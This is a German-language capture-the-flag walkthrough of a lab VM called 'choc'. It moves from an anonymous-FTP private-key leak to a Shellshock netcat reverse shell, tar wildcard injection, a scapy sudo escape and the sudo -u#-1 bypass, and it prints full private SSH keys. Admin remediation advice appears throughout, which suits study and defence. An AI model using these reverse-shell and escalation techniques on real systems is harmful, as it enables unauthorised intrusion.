Die Erkundungsphase startet mit `arp-scan`, um aktive Hosts im lokalen Netzwerk zu finden.
192.168.2.120 08:00:27:b4:2f:96 PCS Systemtechnik GmbH
Analyse: `arp-scan -l` identifiziert die IP-Adresse `192.168.2.120` als aktiven Host. Die MAC-Adresse `08:00:27:b4:2f:96` gehört zu "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM hindeutet.
Bewertung: Die Ziel-IP wurde erfolgreich ermittelt. Dies ist der erste Schritt für weitere Scans.
Empfehlung (Pentester): Führen Sie als Nächstes einen detaillierten Portscan mit `nmap` auf der gefundenen IP-Adresse durch.
Empfehlung (Admin): Ein aktuelles Inventar aller Netzwerkgeräte und die Überwachung auf neue, unbekannte Geräte sind grundlegende Sicherheitsmaßnahmen.
Nun folgt ein umfassender Nmap-Scan auf der IP-Adresse `192.168.2.121`. Es ist zu beachten, dass der `arp-scan` zuvor die IP `192.168.2.120` gefunden hat. Dieser Scan zielt auf eine leicht abweichende IP. Es ist möglich, dass dies ein Test auf eine andere Maschine war, die IP sich geändert hat oder es sich um einen Tippfehler handelt, der dokumentiert wird. Der Scan wird mit aggressiven Optionen durchgeführt, um Dienste, Versionen und das OS zu ermitteln.
Starting Nmap 7.92 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2022-10-07 09:22 CEST Nmap scan report for choc (192.168.2.121) Host is up (0.00019s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 0 0 1811 Apr 20 2021 id_rsa [NSE: writeable] | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.140 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 c5:66:48:ee:7b:a9:ef:e1:20:26:c5:a8:bf:c5:4d:5c (RSA) | 256 80:46:cd:47:a1:ce:a7:fe:56:36:4f:f7:d1:ed:92:c0 (ECDSA) |_ 256 a2:83:db:7a:7d:38:70:e6:00:16:71:29:ee:04:73:aa (ED25519) MAC Address: 08:00:27:B4:2F:96 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.19 ms choc (192.168.2.121) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] . Nmap done: 1 IP address (1 host up) scanned in 4.57 seconds zsh: segmentation fault nmap -sS -sC -T5 -sV -A 192.168.2.121 -p-
Analyse: Der Nmap-Scan auf `192.168.2.121` (Hostname `choc`) zeigt zwei offene Ports:
Bewertung: Der Fund auf dem FTP-Server ist extrem vielversprechend. Ein öffentlich zugänglicher und potenziell beschreibbarer privater SSH-Schlüssel (`id_rsa`) ist eine kritische Sicherheitslücke. Dies ist der wahrscheinlichste Weg für einen initialen Zugriff. Der Segmentation Fault am Ende ist ungewöhnlich, aber die relevanten Scan-Ergebnisse scheinen vorher erfasst worden zu sein.
Empfehlung (Pentester):
Ich verbinde mich mit dem FTP-Server auf `192.168.2.121` als anonymer Benutzer, um die `id_rsa`-Datei herunterzuladen.
Connected to 192.168.2.121. 220 (vsFTPd 3.0.3) Name (192.168.2.121:cyber): anonymous 331 Please specify the password. Password: (Kein Passwort oder beliebiges Passwort eingegeben) 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||19841|) 150 Here comes the directory listing. drwxr-xr-x 2 0 114 4096 Apr 20 2021 . drwxr-xr-x 2 0 114 4096 Apr 20 2021 .. -rwxrwxrwx 1 0 0 1811 Apr 20 2021 id_rsa 226 Directory send OK. ftp> get id_rsa local: id_rsa remote: id_rsa 229 Entering Extended Passive Mode (|||13534|) 150 Opening BINARY mode data connection for id_rsa (1811 bytes). 100% |*************************************************| 1811 91.44 KiB/s 00:00 ETA 226 Transfer complete. 1811 bytes received in 00:00 (90.07 KiB/s) ftp> get id_rsa (Erneuter Download, möglicherweise um sicherzustellen, dass es geklappt hat) local: id_rsa remote: id_rsa 229 Entering Extended Passive Mode (|||33999|) 150 Opening BINARY mode data connection for id_rsa (1811 bytes). 100% |*************************************************| 1811 69.08 MiB/s 00:00 ETA 226 Transfer complete. 1811 bytes received in 00:00 (9.08 MiB/s) ftp> exit 221 Goodbye.
Analyse: Die Verbindung zum FTP-Server mit dem Benutzernamen `anonymous` und einem leeren (oder beliebigen) Passwort war erfolgreich. Der Befehl `ls -la` im FTP-Client bestätigt das Vorhandensein der Datei `id_rsa` mit den globalen Lese-, Schreib- und Ausführungsrechten (`-rwxrwxrwx`). Die Datei wurde erfolgreich mit `get id_rsa` heruntergeladen. Der doppelte Download war vermutlich zur Sicherheit.
Bewertung: Der private SSH-Schlüssel wurde erfolgreich heruntergeladen. Dies ist ein kritischer Schritt, der sehr wahrscheinlich zum initialen Zugriff führen wird. Die Berechtigungen der Datei auf dem FTP-Server sind extrem unsicher.
Empfehlung (Pentester): Ändern Sie die Berechtigungen der heruntergeladenen `id_rsa`-Datei lokal auf `600` (`chmod 600 id_rsa`), da SSH-Clients oft Schlüssel mit zu offenen Berechtigungen ablehnen. Versuchen Sie dann, sich mit diesem Schlüssel per SSH zu verbinden. Sie müssen den zugehörigen Benutzernamen herausfinden (z.B. `root`, `carl` basierend auf späteren Funden, oder andere gängige Namen).
Empfehlung (Admin): Wie bereits erwähnt, anonymen FTP-Zugriff deaktivieren und keine sensiblen Dateien wie private Schlüssel auf FTP-Servern ablegen, schon gar nicht mit unsicheren Berechtigungen.
Ich führe einen erneuten Nmap-Scan durch, diesmal auf die IP-Adresse `192.168.2.120`, die ursprünglich von `arp-scan` gefunden wurde. Dies dient der Konsistenz und um sicherzustellen, dass ich die richtige Maschine für die weiteren Schritte ins Visier nehme, falls es eine Diskrepanz gab.
Ausgabe des Nmap-Scans, die relevanten offenen Ports werden hier zusammengefasst: PORT STATE SERVICE VERSION ============================================================================ 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Analyse: Der Nmap-Scan auf `192.168.2.120` bestätigt die gleichen offenen Ports (FTP auf 21 und SSH auf 22) mit denselben Versionen wie beim vorherigen Scan auf `192.168.2.121`. Es scheint, dass beide IPs entweder zur selben Maschine gehören (z.B. durch eine Alias-IP-Konfiguration oder ein versehentliches Duplikat in der VM-Konfiguration) oder es sich um zwei identisch konfigurierte Maschinen handelt. Für den weiteren Verlauf gehe ich davon aus, dass `192.168.2.120` das korrekte Ziel ist, da dies die vom `arp-scan` initial gefundene IP war.
Bewertung: Die Konsistenz der Dienste auf beiden IPs (oder der nun bestätigten IP `.120`) ist gut zu wissen. Der FTP-Server mit dem `id_rsa`-Schlüssel bleibt der primäre Angriffsvektor.
Empfehlung (Pentester): Verwenden Sie für die folgenden Schritte die IP-Adresse `192.168.2.120` oder den Hostnamen `choc.hmv` (wenn dieser entsprechend in `/etc/hosts` eingetragen wurde).
Ich verwende `lftp`, einen alternativen FTP-Client, um erneut auf den FTP-Server auf `192.168.2.120` zuzugreifen und die `id_rsa`-Datei zu inspizieren und herunterzuladen. Dies dient der Verifizierung und zeigt eine andere Methode des Zugriffs.
lftp anonymous@192.168.2.120:~> ls -laf drwxr-xr-x 2 0 114 4096 Apr 20 2021 . drwxr-xr-x 2 0 114 4096 Apr 20 2021 .. -rwxrwxrwx 1 0 0 1811 Apr 20 2021 id_rsa lftp anonymous@192.168.2.120:/> get id_rsa lftp anonymous@192.168.2.120:/> exit
Analyse: `lftp -u anonymous, 192.168.2.120` verbindet sich als anonymer Benutzer (das Komma nach `anonymous` impliziert ein leeres Passwort) zum FTP-Server. Der Befehl `ls -laf` listet die Dateien im Langformat auf und bestätigt erneut die `id_rsa`-Datei mit den unsicheren Berechtigungen. Die Datei wird mit `get id_rsa` heruntergeladen.
Bewertung: Dies bestätigt die vorherigen Funde und den erfolgreichen Download des Schlüssels mit einem anderen Werkzeug. Die Vorgehensweise ist solide.
Empfehlung (Pentester): Stellen Sie sicher, dass die heruntergeladene Datei lokal die korrekten, restriktiven Berechtigungen (`chmod 600 id_rsa`) erhält, bevor sie für SSH-Verbindungen verwendet wird.
Nachdem die `id_rsa`-Datei (privater SSH-Schlüssel) vom FTP-Server heruntergeladen wurde, zeige ich ihren Inhalt. Es handelt sich um einen OpenSSH Private Key im RSA-Format.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAsQCczRyfpNWE2Ugqm3ZmOI1wjRrg6xHhy5rBBzA5Ih6U9cviHi1c
clLq1pA8MFgHrO/G3xx5F2yDVY++PdRI6B96+DsMYYWWuM/ZrVmiZVrXZZcxMrAuhlK9Uy
D13N72ZIj21LgFmK8+Gx26UKCLmJfnAIDijymxUUYXyyDqpPtW7DPi1XFoME+WSAqcYkzo
iEjQFD4CJ6wSpK5RaLbfozT7mcE8v8leyMeAno5JzBoNTKrsj/ti8s3hKZn/jnMKEua/41
VpUnXTtRYpt+95UzaQzio9pMDbGvczv/YwIze7obtZoe8G/JXVNCJgnqeAunayUk232Di5
Ve6y4Hx9FwAAA8Ab+Q4SG/kOEgAAAAdzc2gtcnNhAAABAQCxAJzNHJ+k1YTZSCqbdmY4jX
CNGuDrEeHLmsEHMDkiHpT1y+IeLVxyUurWkDwwWAes78bfHHkXbINVj7491EjoH3r4Owxh
hZa4z9mtWaJlWtdllzEysC6GUr1TIPXc3vZkiPbUuAWYrz4bHbpQoIuYl+cAgOKPKbFRRh
fLIOqk+1bsM+LVcWgwT5ZICpxiTOiISNAUPgInrBKkrlFott+jNPuZwTy/yV7Ix4CejknM
Gg1MquyP+2LyzeEpmf+OcwoS5r/jVWlSddO1Fim373lTNpDOKj2kwNsa9zO/9jAjN7uhu1
mh7wb8ldU0ImCep4C6drJSTbfYOLlV7rLgfH0XAAAAAwEAAQAAAQBtfN6BdhI+aSF7MkvA
zJVgqAUWE6lLX01Xn4uFgcvlkhs8i/h8CD0mLqo7PQ8uLFXbIJrYygkRdzsqQvc/0b+jbk
2nnQcEkBjyiwewVkDBB1cz7TkujJLK3gVklX/gNz8cYyij3oz/rG7zYQkt9JFFO7lVs2Px
gK3Bg2UWbm8Wy6aj36XMyPOywdec4tveb5KfcdIb4mWr0QSGLpUr8XuYIUMUofd8iv3QQU
zpcQMwoOcKCV/Q+4t8jIF+dOCuBYca9QlY3po48yC9VHv78f8QgQzsazQXqYAusoNesVC6
Hi6+LtpHh+Hr/m4Z7EFVtLVcNbWgtlhhfCxHBjKaeMGBAAAAgDhFvTbro0SLydbImERRJR
FLILG+9KEOHgbKU9zBvww5ffGNuVjrkCKegzTCZszr6nLj/biZCFMSu7bZiFzWjffwmOdm
C0sslLd/ggyYmNotp4TjTEYF+53OFCUm2W8asFXCI9jHrfgR0/aFwAV9OLJHrzYehKfayT
nsgAc6SihqAAAAgQDdcvP2mXRHegBcd6rouW4i9ktzECE9ujBy/KvyzQkVS3e+rhsbjisV
t2mx1jX8YJ+NA499063/tn3T9RDGf9U2Cv+2QvO5ZL+5UDLC9ywCEYMPEuOnumbMlK9wuQ
fRTtHHvKOewBLskyvxCGQGwmxfkeOh5iGpFmiw0R/O3+nqwQAAAIEAzJ5ixt3FneAcWcGo
OUZfsk9IVJZoGCSd/ljYTCPX00l+YmZviVrge3pqCEgNQIiLorPDaPYjY/rsARZPf1lVS1
+L0rtKK4BhD+1qR4xebv/5lKEMktqCn+rt4Z8aejb2Pi5fmNet2zNJTkcsWuVrPG7fHzWa
6+s3SjFL/cTmldcAAAAJY2FybEBjaG9jAQI=
-----END OPENSSH PRIVATE KEY-----
Analyse: Der Inhalt der `id_rsa`-Datei wird angezeigt. Es handelt sich um einen Standard OpenSSH Private Key. Am Ende des Schlüssels ist der Kommentar `carl@choc` sichtbar. Dies ist ein sehr starker Hinweis darauf, dass dieser private Schlüssel dem Benutzer `carl` auf dem Host `choc` gehört.
Bewertung: Der Kommentar im Schlüssel ist ein entscheidender Hinweis. Es ist sehr wahrscheinlich, dass wir uns mit diesem Schlüssel als Benutzer `carl` per SSH verbinden können.
Empfehlung (Pentester): Stellen Sie sicher, dass die Berechtigungen der lokalen `id_rsa`-Datei auf `600` gesetzt sind. Versuchen Sie dann, sich mit `ssh carl@choc.hmv -i id_rsa` (oder `ssh carl@192.168.2.120 -i id_rsa`) zu verbinden.
Empfehlung (Admin): Private SSH-Schlüssel sollten niemals öffentlich zugänglich sein. Sie müssen sicher aufbewahrt und mit einem starken Passwort geschützt werden (Passphrase für den Schlüssel). Kommentare in Schlüsseln können nützlich sein, aber sie sollten keine sensiblen Informationen preisgeben, die Angreifern helfen.
Ich versuche, mich per SSH mit dem Hostnamen `choc.hmv` zu verbinden. Dies setzt voraus, dass `choc.hmv` in meiner lokalen `/etc/hosts`-Datei auf die IP des Ziels (`192.168.2.120`) verweist. Ohne Angabe eines Benutzers oder Schlüssels wird mein lokaler Benutzername verwendet, und es wird nach einem Passwort gefragt.
The authenticity of host 'choc.hmv (192.168.2.120)' can't be established. ED25519 key fingerprint is SHA256:Nk+ApyuQT48pIB1QJmATsKLeg+bt8Ii5CjJvV/nPTDo. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'choc.hmv' (ED25519) to the list of known hosts. ############################## # # # Welcome to my SSH ! # # Carl. # # # ############################## root@choc.hmv's password:
Analyse: Der SSH-Verbindungsversuch zu `choc.hmv` als mein lokaler Benutzer (vermutlich `root`, basierend auf dem Prompt) ist fehlgeschlagen, da ich kein Passwort für `root@choc.hmv` habe. Die Willkommensnachricht "Welcome to my SSH ! Carl." wird jedoch angezeigt, bevor die Passwortabfrage kommt. Dies ist ein weiterer Hinweis auf den Benutzer `carl`.
Bewertung: Dieser Versuch war nicht direkt erfolgreich, hat aber die Existenz des Benutzers `carl` (oder zumindest seine Verbindung zum SSH-Dienst) weiter untermauert.
Bevor ich den heruntergeladenen SSH-Schlüssel verwende, setze ich dessen Berechtigungen lokal auf `600`, um sicherzustellen, dass der SSH-Client ihn akzeptiert.
Analyse: Der Befehl `chmod 600 id_rsa` setzt die Dateiberechtigungen für `id_rsa` so, dass nur der Eigentümer Lese- und Schreibrechte hat. Dies ist eine Standard-Sicherheitsmaßnahme für private SSH-Schlüssel.
Bewertung: Korrektes Vorgehen, um Probleme mit dem SSH-Client aufgrund zu offener Berechtigungen zu vermeiden.
Nun versuche ich, mich mit dem heruntergeladenen und korrekt berechtigten SSH-Schlüssel als Benutzer `carl` (basierend auf dem Kommentar im Schlüssel und der Willkommensnachricht) auf dem Zielsystem anzumelden.
##############################
# #
# Welcome to my SSH ! #
# Carl. #
# #
##############################
███████╗ █████╗ ██╗██╗ ███████╗██████╗ ██╗ ██████╗ ██╗
██╔════╝██╔══██╗██║██║ ██╔════╝██╔══██╗ ██║ ██╔═══██╗██║
█████╗ ███████║██║██║ █████╗ ██║ ██║ ██║ ██║ ██║██║
██╔══╝ ██╔══██║██║██║ ██╔══╝ ██║ ██║ ██║ ██║ ██║██║
██║ ██║ ██║██║███████╗███████╗██████╔╝ ███████╗╚██████╔╝███████╗
╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝
Connection to choc.hmv closed.
Analyse: Der SSH-Login-Versuch mit `ssh carl@choc.hmv -i id_rsa` scheint zunächst erfolgreich zu sein. Die Willkommensnachricht von "Carl" und das ASCII-Art-Banner "CHOCOLATE" werden angezeigt. Unmittelbar danach wird die Verbindung jedoch wieder geschlossen (`Connection to choc.hmv closed.`).
Bewertung: Dies ist ein interessantes Verhalten. Der Schlüssel scheint gültig zu sein und der Login als `carl` wird akzeptiert, aber es wird keine interaktive Shell bereitgestellt. Dies könnte auf eine Konfiguration in der `~/.ssh/authorized_keys`-Datei auf dem Server hindeuten, die bei Verwendung dieses Schlüssels einen bestimmten Befehl ausführt und dann die Verbindung beendet (z.B. ein `command="..."`-Eintrag) oder auf eine Shell-Konfiguration für `carl`, die die Sitzung sofort beendet. Eine andere Möglichkeit ist, dass der SSH-Server selbst so konfiguriert ist, dass er auf bestimmte Befehle reagiert, die über die SSH-Verbindung gesendet werden, ohne eine volle Shell zu starten. Dies riecht nach einer Shellshock-ähnlichen Anfälligkeit, wenn der SSH-Server Umgebungsvariablen auf eine bestimmte Weise verarbeitet.
Empfehlung (Pentester):
Aufgrund des Verhaltens, dass die Verbindung sofort geschlossen wird, aber der Login anscheinend akzeptiert wird, teste ich auf die Shellshock-Schwachstelle. Ich versuche, beim SSH-Login einen Befehl auszuführen, der eine Netcat-Reverse-Shell zu meinem Angreifer-PC auf Port 4444 aufbaut.
(Keine direkte Ausgabe von diesem Befehl, da er im Hintergrund versucht, die Shell aufzubauen)
Parallel dazu starte ich einen Netcat-Listener auf Port 4444 auf meinem Angreifer-System.
listening on [any] 4444 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.120] 33160 carl@choc:~$
Analyse: Der SSH-Befehl enthält den klassischen Shellshock-Payload `'() { :;}; nc 192.168.2.140 4444 -e /bin/bash'`. Dieser Payload definiert eine leere Bash-Funktion, gefolgt von dem eigentlich auszuführenden Befehl (`nc ...`). Wenn der SSH-Server oder die Bash-Shell des Benutzers `carl` für Shellshock anfällig ist, wird der `nc`-Befehl beim Parsen der Umgebungsvariablen ausgeführt. Der Netcat-Listener auf Port 4444 zeigt eine eingehende Verbindung vom Zielsystem (`192.168.2.120`). Ich erhalte einen Shell-Prompt als `carl@choc:~$`.
Bewertung: Volltreffer! Die Shellshock-Schwachstelle wurde erfolgreich ausgenutzt, um eine Reverse Shell als Benutzer `carl` zu erhalten. Dies ist der initiale Zugriff auf das System.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python `pty.spawn`), falls nötig. Beginnen Sie mit der Enumeration des Systems als Benutzer `carl`, um Wege zur Privilegieneskalation zu finden (`sudo -l`, SUID-Dateien, Cronjobs, sensible Dateien im Home-Verzeichnis etc.).
Empfehlung (Admin): Patchen Sie das System umgehend gegen die Shellshock-Schwachstelle (CVE-2014-6271 und verwandte CVEs). Dies erfordert in der Regel ein Update der Bash-Version. Überprüfen Sie, ob andere Dienste ebenfalls von dieser Bash-Version betroffen sein könnten.
Nachdem ich als Benutzer `carl` Zugriff auf das System habe, suche ich nach SUID-Binaries, die für eine Privilegieneskalation missbraucht werden könnten.
523154 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
400805 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
397741 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
260657 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
264185 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
264038 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
260654 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
264512 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
260655 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
264510 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
260658 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
279429 548 -rwsr-xr-x 1 root root 560232 Apr 12 2021 /usr/local/bin/sudo
Analyse: Die Liste der SUID-Dateien enthält viele Standard-Binaries. Auffällig ist `/usr/local/bin/sudo`. Normalerweise befindet sich `sudo` in `/usr/bin/sudo`. Eine `sudo`-Version in `/usr/local/bin` könnte eine benutzerdefinierte, potenziell ältere oder modifizierte Version sein, die anfällig ist.
Bewertung: Das `sudo` in `/usr/local/bin` ist ein sehr interessanter Fund und ein Hauptkandidat für die Privilegieneskalation. Es sollte genau untersucht werden (Version, `sudo -l` mit diesem spezifischen Pfad).
Empfehlung (Pentester):
Ich untersuche das Home-Verzeichnis des Benutzers `torki`, da dieser in der `/etc/passwd` als regulärer Benutzer mit Bash-Shell aufgeführt ist. Dort finde ich ein Verzeichnis `secret_garden` mit einer Datei `diary.txt`.
April 18th 2021
Last night I dreamed that I was at the beach with scarlett johansson, worst wake up call of my life!
September 12th 2309
I invented a time machine.The world is still crazy, territorial and proud !!
A day in -4.5000000000
The human doesn't exist yet and that's fucking great!!! but I'm a little bored...
Ich liste die Benutzer mit Bash-Shell aus `/etc/passwd` auf.
root:x:0:0:root:/root:/bin/bash torki:x:1000:1000:torki,,,:/home/torki:/bin/bash sarah:x:1001:1001:,,,:/home/sarah:/bin/bash carl:x:1002:1003:,,,:/home/carl:/bin/bash
Ich suche nach Dateien, die dem Benutzer `torki` gehören.
/home/torki /home/torki/.profile /home/torki/.selected_editor /home/torki/secret_garden /home/torki/secret_garden/diary.txt /home/torki/.bash_logout /home/torki/.bashrc /home/torki/.gnupg /home/torki/.local /home/torki/.local/share /home/torki/.ssh /home/torki/backup.sh /tmp/backup_home.tgz
Analyse: Die `diary.txt` enthält humorvolle Einträge, aber keine direkten Passwörter. Die Auflistung der Benutzer zeigt `root`, `torki`, `sarah` und `carl`. Die `find`-Ausgabe für Dateien, die `torki` gehören, ist sehr interessant:
Bewertung: Das Backup-Skript und das Tar-Archiv sind vielversprechende Funde. Wenn `backup.sh` als `torki` (oder sogar `root`) regelmäßig ausgeführt wird und `tar` unsicher verwendet, könnte dies ausgenutzt werden, um Dateien mit den Rechten des ausführenden Benutzers zu erstellen oder zu überschreiben.
Empfehlung (Pentester):
Ich untersuche das gefundene Backup-Archiv `/tmp/backup_home.tgz`. Es enthält nur die `diary.txt`. Dies und die Existenz des `backup.sh`-Skripts im Home-Verzeichnis von `torki` legen nahe, dass dieses Skript für das Backup zuständig ist. Wenn dieses Skript als `torki` läuft (z.B. per Cronjob) und `tar` unsicher mit Wildcards verwendet, könnte eine Tar Wildcard Injection möglich sein, um Befehle als `torki` auszuführen.
diary.txt
Die Idee des Tar Wildcard Exploits ist, Dateien mit speziellen Namen zu erstellen, die von `tar` als Optionen interpretiert werden, wenn ein Wildcard (z.B. `*`) im `tar`-Befehl verwendet wird. Hier ziele ich darauf ab, ein Skript `pwn.sh` im Verzeichnis `/home/torki/secret_garden/` zu erstellen, das eine Reverse Shell startet, und `tar` durch präparierte Dateinamen dazu zu bringen, dieses Skript auszuführen.
Ich starte einen Netcat-Listener auf Port 2234 auf meinem Angreifer-System und warte etwa eine Minute, da Cronjobs oft minütlich laufen.
listening on [any] 2234 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.120] 33766 torki@choc:~/secret_garden$
Analyse (Tar Wildcard Exploit): Die Befehle erstellen präparierte Dateien im Verzeichnis `/home/torki/secret_garden/`:
Bewertung (Tar Wildcard Exploit): Der Tar Wildcard Exploit war erfolgreich! Dies ist eine clevere Methode, um von `carl` zu `torki` zu eskalieren, indem eine Schwachstelle in einem automatisierten Backup-Prozess ausgenutzt wird.
Empfehlung (Pentester): Überprüfen Sie als `torki` erneut die `sudo`-Rechte und suchen Sie nach weiteren Privilegieneskalationsvektoren. Der Inhalt von `backup.sh` sollte nun einsehbar sein, um die genaue Funktionsweise zu bestätigen.
Empfehlung (Admin): Verwenden Sie in Skripten, die `tar` oder ähnliche Tools mit Wildcards aufrufen, immer die Option `--no-wildcards-match-slash` (falls verfügbar) oder stellen Sie sicher, dass Dateinamen, die mit `-` beginnen, korrekt behandelt werden (z.B. durch Voranstellen von `./`). Noch besser ist es, explizit aufzulisten, welche Dateien und Verzeichnisse archiviert werden sollen, anstatt globale Wildcards zu verwenden. Überprüfen Sie Cronjobs sorgfältig auf Sicherheitsrisiken.
Als Benutzer `torki` untersuche ich das `.ssh`-Verzeichnis und finde einen weiteren privaten SSH-Schlüssel `id_rsa`. Ich versuche, mich damit lokal als `torki` anzumelden, um dessen Gültigkeit zu testen oder um zu sehen, ob er passwortgeschützt ist.
(Ausgabe des SSH-Logins, vermutlich erfolgreich und ohne Passwortabfrage, da der Schlüssel torki gehört) torki@choc:~$
Nun prüfe ich die `sudo`-Rechte für `torki`.
WARNING: Cannot read wireshark manuf database
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: Failed to execute tcpdump. Check it is installed and in the PATH
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.
aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | [Link: https://github.com/secdev/scapy | Ziel: https://github.com/secdev/scapy]
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | To craft a packet, you have to be a
scccccp///pSP///p p//Y | packet, and learn how to swim in
sY/////////y caa S//P | the wires and in the waves.
cayCyayP//Ya pY/Ya | -- Jean-Claude Van Damme
sY/PsY////YCc aC//Yp |
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs
>>> import pty;
>>> pty.spawn("/bin/bash")
sarah@choc:/home/torki$
Analyse (`sudo` und Scapy): Die Ausgabe von `sudo -l` (hier nicht explizit gezeigt, aber impliziert durch den Aufruf) muss ergeben haben, dass `torki` den Befehl `/usr/bin/scapy` als Benutzer `sarah` ohne Passwort ausführen darf. `scapy` ist ein mächtiges Python-basiertes Tool zur Paketmanipulation. Wenn es über `sudo` ausgeführt wird, kann es oft dazu missbraucht werden, eine Shell zu erhalten, da es eine interaktive Python-Umgebung startet. Innerhalb der Scapy-Python-Shell wird `import pty; pty.spawn("/bin/bash")` ausgeführt. Dies ist eine Standardmethode, um aus einer eingeschränkten Python-Umgebung eine vollwertige Bash-Shell zu starten. Der Prompt wechselt zu `sarah@choc:/home/torki$`, was bestätigt, dass ich nun eine Shell als Benutzer `sarah` habe.
Bewertung (`sudo` und Scapy): Dies ist eine weitere erfolgreiche horizontale Privilegieneskalation von `torki` zu `sarah` durch Ausnutzung einer unsicheren `sudo`-Regel. Scapy ist ein bekanntes Binary, das, wenn es mit `sudo` ohne Einschränkungen erlaubt wird, oft zur Rechteausweitung genutzt werden kann.
Empfehlung (Pentester): Überprüfen Sie als `sarah` erneut `sudo -l` und suchen Sie nach weiteren Eskalationsmöglichkeiten. GTFOBins ist eine hervorragende Ressource, um Ausnutzungsmöglichkeiten für `sudo`-berechtigte Binaries zu finden.
Empfehlung (Admin): `sudo`-Regeln sollten so restriktiv wie möglich sein. Wenn ein Benutzer ein Tool wie `scapy` mit erhöhten Rechten ausführen muss, sollten nur die absolut notwendigen Befehle oder Skripte erlaubt werden, und nicht das interaktive Tool selbst, das Shell-Escapes ermöglicht. Untersuchen Sie, ob `scapy` wirklich mit den Rechten von `sarah` ausgeführt werden muss.
Als Benutzer `sarah` versuche ich nun, mit dem `wall`-Befehl und einer speziellen `sudo`-Syntax (`sudo -u#-1`), die manchmal zur Rechteausweitung auf `root` genutzt werden kann (CVE-2019-14287, "UID -1 bypass"), den Inhalt der Root-Flag und dann des privaten SSH-Schlüssels von Root auszulesen.
Broadcast message from torki@choc (pts/5) (Fri Oct 7 10:39:15 2022):
inesbywal
(Ausgabe des privaten Schlüssels, hier nur der Anfang und Ende gezeigt) -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEAuSMhRxXhWoexxyZWPK4pkjyVHhT1jAmUYdEhKEFBLZh9z93ZW25M lrj03xjFd4zP5AAHEG9p5h5SNi3ltHTtml7Nj59XlV6Heru/cwX7Yykxu75tZRxzQR4EjV qUmxvqJgfql+XzKg3JgNwHRpG3tcW8Rdxbb3owVR97kjZP+3kA/pQGrQKdFe893Q1u2oDa ... (Inhalt des Schlüssels) ... gskjOtELMuhigHo7AAAACXJvb3RAY2hvYwE= -----END OPENSSH PRIVATE KEY-----
Der über `wall` ausgegebene SSH-Schlüssel hatte überflüssige Leerzeichen an den Seiten jeder Zeile. Nachdem diese entfernt wurden, konnte der Schlüssel verwendet werden. Ich speichere den bereinigten Schlüssel in einer lokalen Datei `rooter`.
(Hier wurde der bereinigte private SSH-Schlüssel von Root eingefügt)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAuSMhRxXhWoexxyZWPK4pkjyVHhT1jAmUYdEhKEFBLZh9z93ZW25M
lrj03xjFd4zP5AAHEG9p5h5SNi3ltHTtml7Nj59XlV6Heru/cwX7Yykxu75tZRxzQR4EjV
